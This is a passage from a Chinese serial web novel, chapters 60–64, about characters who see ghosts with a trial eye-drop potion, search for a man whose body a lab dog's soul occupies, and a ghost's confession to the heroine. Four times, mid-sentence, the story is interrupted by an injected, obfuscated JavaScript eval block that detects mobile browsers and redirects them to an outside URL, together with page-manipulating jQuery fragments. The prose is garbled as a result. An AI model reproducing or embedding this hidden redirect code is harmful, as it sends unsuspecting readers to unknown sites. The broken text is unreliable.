纪明霜从包包里拿出一个小小的眼药水瓶，递给了阿依，“这是一款试用装，你可以拿来试试，抹在眼下就可以了。” 阿依有些不确定地接过小瓶子，“纪姐，你给我的这个，应该不是什么眼霜吧……” “你打开闻闻就知道了，怎么会有这样的眼霜。” 阿依试着拧开了小瓶子，闻到一股难闻的味道，她又火速拧了回去，“这……这东西真的管用吗，这个味道真的好奇怪。” “我也不知道，因为这是由我代理出售的试用产品，昨天刚刚拿到的。” “这样啊……”阿依又拧开了小瓶子，她试着用手指蘸了一点，抹在了左眼下面，“这个质感……好像蜗牛的黏液啊，味道这么难闻，幸亏不辣眼睛……” 徐阳问道，“阿依，这个管用吗？” 阿依环视着房间里，她原本是不抱希望的，就这么一个小瓶子，里面装了点奇怪的水，真的管用吗，但她却看到了三个模模糊糊的黑影，她张大了嘴，“不是吧……这玩意儿真的管用啊！” 徐阳问道：“你看见了？” 阿依指了指房间角落里的三个黑影，问道，“张大叔，它们是在那里吗？” 张大叔说，“对，三个，都在那里。” 阿依又蘸了一点透明液体，抹在右眼的眼下，这下，她看清楚了，房间里确实有三只鬼，她慢慢地走了过去，“我的天哪，我都看到了……一只、两只、三只，整整三只！” 阿依每前进一步，那三只鬼就后退一步，于是，它们一步一步地退出了房 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15444890|168984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间，阿依走到墙边，用力敲着墙，“喂，喂，你们出来啊，让我看看啊！” 三只鬼没有出现，阿依有些遗憾地说，“好可惜哦，都跑掉了。” 徐阳说，“没想到这东西这么管用……人多也不影响使用效果，纪姐，你说你是代理，也就是说，你在卖这些东西？” 纪明霜：“嗯，这是我认识的一个道长寄来的试用产品，目前产量和价格都不确定，你要是想买，我帮你问问。” 徐阳说，“行，谢谢纪姐。” 纪明霜：“不用谢，不过这东西偶尔用一次还可以，但不能经常用，张大叔的例子你们也看到了，你们应该不会乱来的吧。” 徐阳：“我们当然不会啦，我们当然会听劝！” 阿依也跟着点点头。 纪明霜：“行，我会联系那位道长，到时候给你们报价，对了，我这里一共有五瓶，你们每种都装走一些，对了，这里有干净的小瓶子吗？” 徐阳说，“好，我这就去楼下药店买点小瓶子和标签回来，阿依，你就在此地，不要乱走。” 阿依笑着打了他一下，“可去你的吧！” 徐阳：“嘿嘿！” 张大叔想说什么，但也没说出口，他长叹一声，等着徐阳回来。 徐阳回来之后，纪明霜分装了小瓶子里的液体，并贴好标签，递给了阿依，“对了，哪瓶的效果最好，副作用最小，记得告诉我，我转告那位道长。” 阿依点点头，“放心吧，纪姐。” 在张大叔家等了一个半小时左右，高大师才姗姗来迟，“怎么样，老张，没事了吧？” 张阿婆已经睡着了，几人坐在张大叔家的客厅，张大叔依旧是愁容满面，“唉，我和我妈没事了，但是我哥……” 高大师说，“具体讲讲。” 张大叔又说了一遍当时的情况，“我原本就准备看一眼就走人的，但我没看到我哥哥，我没听您的话，真是对不起……在我哥的家里，我看到了四个鬼魂，还有一只傻不溜秋的狗，唯独没有我哥哥……” 高大师喝了一口自带的茶水，“哦，那你说怎么办吧。” 张大叔说，“我在想，那只狗的灵魂在我哥哥的身边，那我哥哥的灵魂是不是在那只狗的身边，就算那只狗已经死了，我哥哥会不会还在，就像那几只鬼一样？” 高大师点了点头，“好思路。” “我对不起我哥，也对不起我妈，我之前确实有些逃避的心理，我总觉得，如果我没有把那只狗送走，我哥是不是就没事了。我不知道要怎样面对，如果我妈知道了真相，她老人家一定受不了啊，但事到如今，也没有别的办法了，我、我想联系我哥哥的那个朋友！” 高大师说，“行。” 张大叔总算松了口气，他拿出手机，拨打了那个让他犹豫纠结许久的电话号码，“喂，老赵啊，不是，没什么，倒不是因为这个……我就是想问一下，你那天带走的那只狗，嗯，就是你和我哥一起从人家院子里抓来的那只……” 徐阳小声地说，“什么啊，什么叫‘从人家的院子里抓来的那只’，这不就是偷狗吗？” 这时，张大叔的声音猛地放大了，“什么，你把狗送人了？！” 61. 第61章 托运 张大叔开了免提，对方的声音清晰地传入众人的耳中，“是啊，要不是你哥最近没来上班，我就直接当面问他了，到底是怎么回事，幸亏我发现得早，那条狗的耳朵上有编号，那是一条实验犬，吃了那种转基因的肉，人是会基因突变的！” 张大叔有些不确定地问，“所以说……那条狗现在还活着？” “哦，应该没死。” “什么叫‘应该没死’？” “就是送人了啊。”电话那头的那个人说，“你是怎么回事啊，一惊一乍的，只不过是条狗而已……我现在正要睡午觉呢，你还有事吗，要是没事的话，我就挂了！” “等等，别睡，我问你，那条狗被送给谁了，能不能找回来啊？” 对方满不在乎地说，“前几天，我老婆的同事带孩子来我家玩，那小孩挺喜欢狗的，正好他家也想要一条狗来看门，所以就让她把那只狗牵走了。” “能不能把那个人的联系方式给我？” “怎么，你也想要这条狗？” “嗯，这条狗对我来说很重要。” “哦……行吧，那我问一下我老婆，老婆，醒醒，别睡了，我有事问你。” 等了一会儿，电话那边传来了女人梦呓般的低语，男人问了她两遍，她才勉强清醒过来，话语里全是埋怨，男人的声音也有些恼怒，于是，电话那头传过来夫妻吵架的声音，最终还是以男人的服软告终，他又拿起了电话，“老张，你想要什么样的狗，我去市场给你挑一条好的，我这边也有难处，上次来的那个客人，不止是我老婆的同事，还是我老婆的上司，人家好不容易愿意收礼，虽然只是一条狗，就这样把狗要回去，我老婆面子上也挂不住啊，况且……” 张大叔急急地打断了他，“不行，就要这条狗，唉，实话告诉你吧……” 张大叔把现在的情况说了一遍，对面的男人听得一愣一愣的，“你是认真的吗，你今天没发烧吧？” “没有，没有的事，你要是不相信，上我家来看看，我可以教你怎么见鬼，实在不行还有那个什么……药水？” 对面的男人说，“不用了，那什么药水，你自己留着喝吧，真是的，你要是有这闲功夫，还不如去看看脑子。” “我只问一句话，你到底帮还是不帮，我哥和你多少年的交情了，不至于连这点小事都不愿意帮忙吧，你要是不愿意问，那你把那家人的联系方式给我，我自己去问！” “唉……行吧，帮，帮，哪能不帮你呢，这样吧，我可以把她的联系方式给你，但你可别跟她说那些乱七八糟的事，语气也要放软和点……唉，这叫什么事啊，就这样吧，挂了！” 过了一会儿，对方发来一串电话号码，张大叔再也无法按捺心中的焦躁，连忙拨打了电话号码，对面是一个女人的声音，“喂，你好？” 张大叔没有多说，只是问道，“你好，请问下，之前别人送你的那条狗，现在还在你家吗？” 女人说，“咦，你是……” “我、我是他的朋友，嗯，我想请问一下，你愿意转让那条狗吗，如果可以的话，麻烦你开个价，三千，呃不，一万，你看呢？” 对面的女人说，“这是什么新的行贿手段吗，关于职称的事，是要经过公司领导的综合考评的，你们给我送钱也没用啊，不要再打来电话了。” “不，不是，我就是想问问那条狗，那条狗对我来说非常重要，能否请您割爱呢？” 张大叔解释了半天，女人才说，“哦，原来你们是真的想要狗啊，不好意思，我还以为是她对职称的评选还有什么异议，但那条狗已经不在我家了……” “啊？” 电话那头，另一个男人接过了电话，“喂，你就是那条狗的原主人吗，唉，我跟你说一下，事情是这样的，那天我老婆把狗带回来之后，我和我老婆都蛮喜欢这条狗的，我在网上看了，这种品种的狗特别喜欢拆家和乱叫，但我们的这只就很乖，不拆家，不乱叫，也不乱拉乱尿。但是吧，这只狗不好好吃饭，还总想着逃跑，那个眼神特别可怕，阴测测的，都吓着我家孩子了，我就给拴院子里了。” 张大叔：“……然后呢？” “但是我家小孩特别害怕这条狗，还说什么……哦，他说，这条狗是怪兽变的，会把我们全家都抓去做实验，然后入侵地球，他哭着闹着要我把这条狗送走。唉，可能是因为孩子当时看了几集特摄片，臭小孩不懂欣赏，特摄片多好看啊……不好意思，跑题了，那段时间他天天做噩梦，甚至都不敢一个人待在家，所以我就把那条狗送走了。” “送……送到哪里去了？” “啊，我把这事发在了网上，有个网友想要这只狗，我就找了个宠物托运，把狗送给那个网友了。” 张大叔急急地追问，“那个网友在哪？” “嗯，具体地址他也没给，不过托运的地址隔壁省的火车站……” 张大叔：“啊？” 客厅里的众人也面面相觑。 “等等，话还没说完呢……”对方又说，“但那个宠物托运不太靠谱，这么冷的天气，那边也不暖和，他们也没给笼子里加个垫子毯子什么的，有一只狗被冻得发抖，狗主人在监控里看到了，就让他们中途停车看看狗的情况，就在这时，我托运的那条狗跑丢了，我找他们理论，他们给我赔了一千两百块，要不，我把这个钱转给你？” “……跑丢了？”张大叔愣愣地重复道。 “只能给你这么多了，至于托运的钱，是那个网友出的，唉，他花钱托运，却没拿到狗，他也没多说什么，还发帖子找狗来着，想想还真是对不住他……” “跑丢了……” 对面的男人说，“嗯，事情就是这样……你现在要联系托运公司吗，但是我和对方已经谈好了赔偿，你要是再跟他们理论，他们还以为你和我合伙讹人呢……我看了监控视频，那条狗居然会自己开门，真是邪了门了……” 张大叔追问道，“也就是说，他是自己跑掉的，是吗？” “是啊，我寻思着，不过是一条狗而已，它住的笼子之前关过边牧，用的可是密码锁……” “这件事大概是什么时候发生的？” “昨天下午五点左右。” “那他们是在哪里停车的，是在本市吗？” “不是，都快出省了……” 张大叔沉默了一会儿，说，“那你能给我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15449702|168984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发个定位吗？” “能行。”对方爽快地答应了。 张大叔加了对方的联系方式，对方很快发过来一个定位，徐阳帮忙查了一下，距离本地七百公里左右，张大叔颓然地坐在了沙发上，“没想到我哥经历了这么多，那个托运车里那么冷，也不知道我哥有没有受冻，有没有挨饿……” 高大师说，“至少有一个好消息，你哥现在还活着，只不过离得远些，他一个成年人，难道还回不来？” 阿依也说，“是啊，等他回来就好了，大叔，要不你去那边找一找，也许半路就能遇见也说不定呢……” 张大叔说，“好，我正好有几个朋友，我让他们也来帮忙，我们现在就出发……” 高大师说，“等等，别急，还有另一件事呢。” “什么事？” 高大师说，“关于你哥哥的身体……” “啊？”张大叔并不明白现在的状况。 “这么说吧，一般情况下，没有灵魂的身体，就像一块放着的肉，过一段时间就会烂掉。现在，你哥哥的身体里虽然有灵魂，但这些灵魂和他的身体并不契合，再过一段时间，你哥哥的身体就会坏掉。” 纪明霜也跟着点点头，不得不说，高大师还是比较靠谱的。 “那、那怎么办？” 高大师说，“总之，三天之内，他的身体暂时不受影响，三天之后，如果他的身体里还是没有契合的灵魂，那就……” 张大叔说，“那就？” “如果是别人，那就完蛋了，但你哥不一样，这里不是有一个现成的契合灵魂吗，如果到时候还没有找到你哥哥，那就让那条狗帮忙保管你哥哥的身体吧。” “也就是说，三天之后，如果我还没找到我哥，那他就还得变成狗……” 纪明霜说，“想什么呢，不是从现在开始算的，应该按仪式结束之后的时间来算，所以你只剩下一天了。” “开什么玩笑，七百多公里，那至少要八个小时啊……一天的时间，怎么能够呢？”张大叔又问道，“那……有没有什么别的办法，我不想让那条傻狗待在我哥的身体里了……” 高大叔说，“这个还真有，但是不建议……” 张大叔说，“为什么不建议呢，难道是很难吗，还是有很强的副作用？” “哦，那倒没有。”高大师说，“我说的那个方法就是人造休眠舱，这玩意儿没什么副作用，就是长时间休眠结束之后需要一段时间来复健，主要是价格比较贵……” 张大叔仍不死心，“到底有多贵？” 徐阳说，“我师父那么有钱，都说贵了，那就真的很贵啊。” 高大师说了一个价格，纪明霜暗暗咋舌，这个价格，大概是她月工资的五倍了。 张大叔说，“这个价格，好像也还行？” “你想多啦。”徐阳说，“我师父说的价格，大概是一天的价格，除此之外，审核资质的费用、设备管理和维护的费用，人工的费用，还有各种杂七杂八的费用，全都是要另算的，对了，除此之外，还要交保证金，保证金也需要这个数。” 张大叔倒吸了一口凉气，“那我再去联系那个神婆吧……” 62. 第62章 许远 纪明霜说，“在联系神婆之前，我们先去看看你哥的状况吧。” 张大叔：“……啊？” 看他的神情明显有些发怵，徐阳拍了拍他的肩膀，宽慰道，“张大叔，没什么可怕的，不是还有我们在吗？” 张大叔回头看了一眼众人，“行。” 来到张大叔哥哥的房子里，众人惊奇地发现，他哥哥的身体已经重新被那条狗的灵魂占据了，所以他哥哥现在正在快乐地拆家。 张大叔不知道他现在应该哭还是笑，因为房间里放着的真皮小沙发已经拖到了客厅，还被咬出了一个破洞，两个抱枕也被咬烂，小小的棉花团子混合着被撕成碎片的卫生纸飞了满地，张大叔捡起了一件衬衣，嗯，这件衬衣上的扣子已经全部被咬掉了，现在就像一块普通的破抹布。 大概是还记得徐阳给它吃的烤肠，张大叔的哥哥居然又凑了过来，兴奋地爬来爬去，但徐阳并不会为此感到开心，他只看到一个半裸的大叔狞笑着爬了过来，他后退了几步，“你、你还是离我远点吧……” 然而，小狗听不懂这些，它只是想跟徐阳贴贴，见此情形，阿依默默走远了一些。 也只有张大叔不嫌弃他了，他走到哥哥身边，摸了摸哥哥的头，“唉，这样也好，你好好看家，等我哥回来，我们以后肯定会好好待你的，你想留下也可以，如果你想回到原本的家，我也会把你送回去的。” 徐阳说，“在此之前，要不先把他关起来吧，他、他这副模样，我有点害怕……” 张大叔摇了摇头，“它不喜欢被关起来，没变成人的时候，它对笼子的反应特别大，整夜整夜地哀嚎，一刻也不肯停歇，我现在才知道，它之前是一条实验犬啊……” 高大师说，“那就这样吧，事不宜迟，你赶快出发吧。” 张大叔点了点头，他把哥哥关在了房子里，这么大的活动空间不会让它感到紧张和焦虑，张大叔说，“高大师，我现在就准备出发了，有事的话，我再联系你们。” 分别之时，已经是中午一点了，高大师请团队里的所有成员吃了丰盛的午餐，而后，纪明霜回家午休，下午四点左右，她联系了小饼。 纪明霜提着航空箱出了门，小饼开车过来接她，一路上，小饼都一副欲言又止的模样，时不时偷偷看她，又不敢和她对视，纪明霜问道，“小饼？” 小饼立马：“好的，我这就专心开车！” 纪明霜带着小黑猫去做了外驱，小黑猫这次就不怎么配合了，先是躲在航空箱里不愿意出来，又是张牙舞爪地不愿意回到航空箱，小饼难以置信地看着判若两猫的小黑猫，“不是，小纪姐，你这是换猫了吗？” 纪明霜把小黑猫抓进了航空箱里，“没有，大概是本性暴露了吧，猫就是令人捉摸不透的生物呢。” 小饼仍然有些怀疑，“小纪姐，你不会是养了两只小黑猫吧，才几天不见，这只猫胖了一圈呢！” 纪明霜：“这是因为它吃得多。” 小饼：“好吧……” 医生给小饼的猫称了体重，打了疫苗，回去的路上，小饼依然是一脸‘我有话想说但又说不出口’的表情，纪明霜说，“小饼，你想问就问吧，再不问的话，就到我家了……” 小饼：“等等，我酝酿一下。” 纪明霜：“嗯。” 小饼的车速很慢，终于开到了灰灰公寓的门口，她停下了车，问纪明霜道，“小纪姐，你那天来我家，是不是看到了什么？” 纪明霜：“嗯……能具体说说吗？” 小饼的回答很直接，“我是说，我家阿宝的鬼魂。” 纪明霜没有否认，“你是怎么知道的？” 小饼说，“那天晚上，你的小猫叫得好可怜，但你当时并没有看它，而是从猫爬架看到窗帘，又从窗帘看到沙发，这是阿宝的跑酷路线。我当时就觉得很奇怪，但并没有想这么多，那天晚上，我失眠了……我半夜起床，穿上拖鞋，站在你当时的位置，顿时就全明白了，你当时看到了阿宝，对吧？” 纪明霜说，“好吧，我确实看到了，大概是它不舍得你们，所以就多停留了一段时间，等时间到了，它就会离开的。” 小饼追问道，“它大概会停留多久呢？” 纪明霜摇摇头，“这个我也不知道，我只知道，这只是一只猫的灵魂而已，它对你们的生活几乎没有影响。” “我才不担心这个呢，阿宝之前就被确诊为智障，现在估计也不怎么聪明……但是，小纪姐，我真的好羡慕你，我真的好想我的阿宝，我真的好想再见到它啊……” 小饼低下了头，她的眼泪掉了下来，怎么都止不住。 “小饼，别哭了。” 小饼：“不，我就要哭，我好难过。” “嗯……如果我说我能帮你呢？” 小饼抬起了头，“什么，我没听错吧？” 纪明霜点点头，“你没听错，走吧，开车去药店，买个小药瓶，我这里有一款试用的药水，但你不是专业人士，我只能分你一点……” 小饼满脸惊喜，“真的吗，小纪姐，这是什么药水啊？” 纪明霜：“你回去试一下就知道了，我告诉你使用方法……不过，这东西不能经常用，会有很糟糕的副作用，知道吗？” 小饼点头，“知道啦！” 她满脸期待地看着纪明霜分装了一小份药水，又小心翼翼地接过小小的药瓶，“只有这么点，如果没拧紧，会干掉的吧……” 纪明霜：“我也不太清楚，总之，要好好保存哦。” 小饼追问道，“是常温还是冷藏呢，需要避光吗？” 纪明霜被问住了，“……这个我还真不知道，有时间我帮你问下。” 小饼：“嗯嗯！” 小饼地离开之后，纪明霜给道长发了消息，而后，她提着航空箱走进了灰灰公寓，出电梯之后，她才发现，有个男人正站在她的房间门口等她。 她在记忆里搜寻了一圈，并没有找到这个人的踪迹，环顾四周，也没有见到小陈哥，她的心中隐隐约约有一个猜想，他应该不是她最不想见到的那个人吧…… 虽然萌生了退意，但逃避是没有用的，她提着航空箱走了过去，问道，“你好，你是这里的房东吗？” 男人愣了一下，仔细地打量着她，似乎也在确定着什么，“不是。” “那你这是在……等人？” 男人说，“我在等你。” 纪明霜：“请问你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15454891|168984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是……” 男人问道，“你是纪明霜吗？” 纪明霜点点头。 “你不记得我了？”男人咳嗽了几声，“我之前帮你搬过家。” 这时，纪明霜才想起来，哦，原来是他啊，靳尤白的男朋友。 这可真不怪她认不出来，他当时戴着墨镜，一声不吭，以至于纪明霜对他没什么印象，如今，他没戴墨镜，也不再沉默寡言，纪明霜这才看清了他的脸，嗯，长得挺好看的，靳尤白果然是个颜控。 纪明霜说，“哦，原来是你啊，你是一个人过来的？” 男人点了点头，“许远。” 纪明霜：“啊？” 男人说，“这是我的名字。” 纪明霜摇摇头，“我不是这个意思，你找我是有事吗？” 许远说，“不然呢，难道我突然来你家做客？” 纪明霜问道，“嗯……你过来的事，靳尤白知道吗？” 许远说，“她不知道，她和我分手了……” 纪明霜，“那你来找我干什么？” “我联系不到她。” “哦，我也一样，偶尔才能联系到她，她最近有事要忙，如果你想找她，先等她回来吧。” 纪明霜一边说着，一边打开房门，把小黑猫放了进去，而后，她站在门口，继续跟许远说话。 许远说，“……我不知道她的事。” 纪明霜：“哦？” “我也只是听别人说，她最近都没去公司，你大概不知道吧，早在她出事之前，她就跟我提出了分手，我早就知道她的分手风格，干净利落，不留余地，特别是她的前一任男友，被她搞得失去了工作，还颜面尽失……” 纪明霜打断了他，“等等，我要纠正一下，他并不是被靳尤白搞丢了工作，靳尤白甚至都没特意针对他，是因为他妈妈天天来公司闹事，他才被劝退的，他甚至还拿到了一大笔离职补偿。” “但我和他们不一样，我是真的很喜欢她……” 纪明霜叹了口气，“但是她的每一任男友都是这么说的，不是为了她的钱，只是为了她的人，无一例外。既然你们已经分手了，这件事就到此为止吧，况且这是你们的事，你来找我又没用啊……” “我想请你帮帮我，我想再跟她说一句话，而且，我都不知道分手原因，就算死，也得死个明白吧。”他自嘲地笑了笑，“呵……我还真是失败啊，在她的心目中，我永远都比不过你……” 纪明霜说，“这也没什么可比性吧。” “是啊，她多喜欢你啊，有空就来找你，却对我爱搭不理……” 纪明霜打断了他，“行了，到此为止吧，你想说什么，我可以替你转告，只此一次。这是她自己的决定，我不想干涉她的私事，你以后不要来找我了。” 许远说，“我可以给你钱。” 纪明霜：“……我看着很穷吗？” “嗯。” “算了吧……”纪明霜说，“你想转告的话是什么，现在可以告诉我了，我今天忙了很久，已经很累了。” 许远说，“不行，我要当面告诉她。” 纪明霜没有说话。 许远又问道，“你知道林然吗？” 63. 第63章 喜欢 纪明霜没有说话。 但许远似乎并不在乎她的回答，只是自顾自地说着，“呵，你不会不知道他是谁吧，对啊，六年前，树莓中学发生了震惊全国的重大火灾事故，你好不容易从火场中逃了出来，头部却受到了重创，以至于失去了大部分的记忆，要不是你当时已经高考结束，再加上你的四年大学生活有三年的网课，最后一年是毕业实习和论文，你都没办法像正常人一样生活……” 许远一边说着，一边观察着她的反应，他想，她也许会疑惑、吃惊甚至恼怒，但他没想到，她的眼神开始失焦了，整个身体都变得摇摇晃晃，仿佛随时都会晕倒一般。 许远是想扶她一把的，但他还没来得及伸手，纪明霜就直直地倒了下去，就像一个没有生命的普通人偶模特，没有任何下意识保护自己的防御反应，许远条件反射地后退了一步。 他只是说了几句话，连碰都没碰她一下，她居然就这么直接倒了下去，刚刚她提着航空箱走出电梯的时候，还有她刚刚说话时的模样，看上去真的正常极了，也不像是生病了啊…… 但是，一位女士倒在他的面前，于情于理，他也应该把她扶起来中，许远蹲了下来，正准备伸手扶她，‘纪明霜’却睁开了双眼，她的眼神已经变了，变得清明而冷然，“把手收回去。” 许远问道，“你需要帮忙吗，你的脸色怎么这么难看，你、你怎么哭了，我、我也没说什么吧，要不我给你叫个救护车吧……” 许远是真的慌了，他之前也没听说靳尤白的朋友有病啊，就在刚刚，她的脸上以肉眼可见的速度褪去了血色，她的眼睛也变红了，眼泪不停地往下掉，脸上甚至还出现了小小的红点，很明显，她的状态并不好。 流泪本应显得更脆弱，但她的眼神非常不善，似乎恨不得打他一顿，许远站了起来，“我、我说帮你叫救护车，完全是出于好意，你这是什么眼神，好像我是个坏人一样……” “够了，你不应该过来打扰她的，她好不容易过上正常的生活，你和靳尤白分手，是你们之间的事，不要把她牵扯进来，明白吗？” 许远没反应过来，“他？” ‘纪明霜’没有多说什么，她打开了房门，回头说道，“现在，请你离开。” “等、等等！” 回应他的是‘砰’的一声，房门被关闭了，许远在门口站了很久，他今天心情不好，喝了些酒，鬼使神差地过来蹲守纪明霜，没想到会遇到这样的情况。 他从衣兜里拿出一个小本子，里面夹着两张照片，其中一张是靳尤白，她穿着树莓中学的男式制服外套，嘴里叼着一根棒棒糖，正站在树荫底下，对着镜头比着剪刀手。 他低声说，“还真是很像啊……” 另一边，纪明霜和林然的情况也不太好。 就在刚刚，她只感到头痛欲裂，好像有人拿凿冰锥刺进了她的大脑，不停地，狠狠地，一下比一下更加用力，在那瞬间，她已经听不到任何声音了，脑海里只有电视机失去信号一般的刺耳鸣响，她的眼前也越来越黑，她失去了所有的视觉和全部的力气，以至于没法对外界的情况做出任何反应。 就在这时，林然上了她的身，纪明霜慢慢缓了过来，这才听清了他的声音，他好像在说，‘请你离开’？ 在这种情况下，他都在说‘请’，还怪有礼貌的呢。 理论上，林然的灵魂占据了她的身体，她应该感觉不到任何生理性的疼痛才对，但与平时不一样的是，仿佛有什么被封印的记忆涌入了她的脑海，决堤似的，一发不可收拾，这种感觉并不好受，已有的记忆和涌入的记忆似有冲突，她只能自己慢慢消化和吸收。 但现在，更令她在意的是林然的情况。 走进房门之后，‘纪明霜’手里的包包滑落在地，他并没有理会，而是一步一步地走向她的房间，但他已经没有力气了，所以他改变方向，一步一步地走向了客厅，他应该是想走到客厅的小沙发那里吧…… 但他已经做不到了……还差两步就能够到小沙发了，他却毫无预兆地停下了脚步，他低下头，身体仍在摇晃，终于，他倒了下去，幸亏他扶住了沙发的坐垫，从而跪坐在冰冷的地砖上，纪明霜只能在一旁看着他，“林然，林然，你还好吗……” 他没有回答。 “林然，够了，到此为止吧，你没有必要为我做这些的……” 林然闭了一会眼睛，又努力睁开，他的灵魂因为痛苦而有些混沌，这使得她的瞳色变得幽深，“还好。” “怎么可能还好。”纪明霜说，“够了，这是我自己的事，你的灵魂会被消损的！” 他总是连名带姓地叫她，“纪明霜？” “嗯。” “我知道你很想知道过去的事，你有权利知道真相。” “可这是我自己的事，我不需要你为我付出……我不明白，这值得吗？”她问道。 “哈……哈……”他剧烈地喘息着，“你这次活了很久，我、我很高兴。” “林然……” “不要害怕回忆，我会陪着你的。”他说，“如果终有那么一天，至少在此之前……” 纪明霜完全听清了他的话，但她还是问道，“……什么？” “行啦，别难过了，又不是什么生离死别，纪明霜，这些只是生理反应，生理性的急促呼吸，说不出话，眼前发黑，无法站立，我只是需要时间……”他的声音越来越小了。 纪明霜坐在他的身边，“可是……” “停，到此为止，现在，你是游魂对吧？” 纪明霜：“嗯……然后呢，我能帮你什么吗？” “你现在回房间去。” 纪明霜：“啊？” “你心爱的小黑猫正在床上睡觉，好了，你可以去找它玩了。” 差点照做的纪明霜：“……林然！” 林然按着太阳穴，勉强抬起头来看她，游魂状态的纪明霜扑向了自己的身体，“林然， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15462897|168984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你这个混蛋，以后不许你上我的身，我才不需要你帮我呢，快把我的身体还给我！” 林然连躲都没有躲，他勉强坐上了沙发，语气却仍带着喘息，“行啦，纪明霜，没用的，我轮回了那么多次，你虽然看不到我，但你的身体从来没有拒绝过我，从来没有……但是外来灵魂的入侵对你的身体有负面影响，所以我只在我认为你需要我的时候出现……” 看到他的状态好了一点，纪明霜才稍微放下心来，但语气仍是佯怒，“哦，所以呢？” 看着她认真倾听的模样，他总算露出笑意，“我也没有撒谎啊，□□的疼痛比不过灵魂的痛楚，但比灵魂的痛楚更加难熬的是……没有尽头的，永恒的孤寂。” “林然……” “你刚刚问我，这值得吗，我的回答是……” 纪明霜抱着膝盖，坐在他的身边，认真地听着。 他说：“——纪明霜，你果然是个迟钝的笨蛋吧。” 纪明霜，“……把我的身体还给我。” 林然说：“我大概还需要四十分钟左右的时间，在此之前，你去跟小黑猫玩吧。” 纪明霜：“不要！” 林然走到门口，捡起了纪明霜的包包，从中拿出纪明霜的手机并解锁，“那纪明霜，你想继续看昨晚的古早言情小说还是狗血电视剧，你的阅读币用完了，要再充值一些吗？” “哦，再给我充值十块钱的阅读币，谢谢，你知道我的支付密码吧。” 林然：“知道的，嗯，那你需要我手动翻页吗？” 纪明霜：“不用，自动翻页就够了。” 于是，游魂状态的纪明霜坐在沙发上，看着林然把手机放在手机支架上，又把手机连同支架放在沙发前面的小茶几上，嗯，小说剧情很精彩，但纪明霜却一直都在走神。 她转头，看着林然正靠在沙发上闭目养神，她抱着膝盖坐在旁边，时不时转头看他。 林然突然睁眼：“看什么呢？” “没什么，我只是觉得，你对我这么好……不会是喜欢我吧，哈哈，哈哈哈哈……” 林然：“……啊，你现在才发现吗？” 纪明霜：“……哈，哈哈，我是开玩笑的。” “行啦，你不就是假装开玩笑实际想说一点心里话吗，纪明霜，你听好了，我当然喜欢你啊，不然我一直不去转世，就这么徘徊人间，难道是为了好玩吗，无论轮回多少次，我都待在你的身边，难道是吃饱了没事干吗？” 纪明霜被这突如其来的直球打懵了，“……啊？” “不过有些人会有这样的心理吧，类似于‘我们人鬼殊途终究是要分开的，那我的心意就藏在心底不要说出来好了’，但我不会这么觉得，真正的喜欢是藏不住的，就算是像你一样的笨蛋，不也渐渐意识到了吗，我就是愿意看着你，愿意听你说话，愿意待在你身边，至少要让你知道，我是喜欢你的……况且你又不太聪明，就不要学人家玩什么猜心游戏了。” 64. 第64章 寻回 “哈？”纪明霜说，“你这是表白的态度吗，一口一个‘迟钝’、‘笨蛋’、‘不太聪明’……” “是啊，除此之外还有口是心非、找不到重点、顾左右而言他，没办法，我太了解你了。如果我告诉你，你一直很坚强勇敢，又很有主见，就这样走下去吧，如果那一天终会来到，我也能放心地离开，嗯，你也不一定会开心吧。” “谁要听你说这些啊！” “那不就得了吗。”林然说，“所以，继续看你的小说吧，你刚刚看到哪里来着？” “嗯……忘记了。” “所以你刚刚果然在发呆吧。” “哼，我现在要从第一章开始看，你，现在，给我手动翻页。” …… 一个小时之后，纪明霜的身体恢复了正常，嗯……做游魂的感觉其实还蛮奇妙的呢…… 接下来的两天，纪明霜继续愉快的假期，直到假期的最后一天，徐阳给她打了电话，“纪姐，好消息，张大叔的哥哥好像找到了！” 纪明霜：“真的吗，但为什么是‘好像’？” “嗯，是真的，他应该还活着，我现在正要去确认。” “那真是太好了，是怎么找到的？” 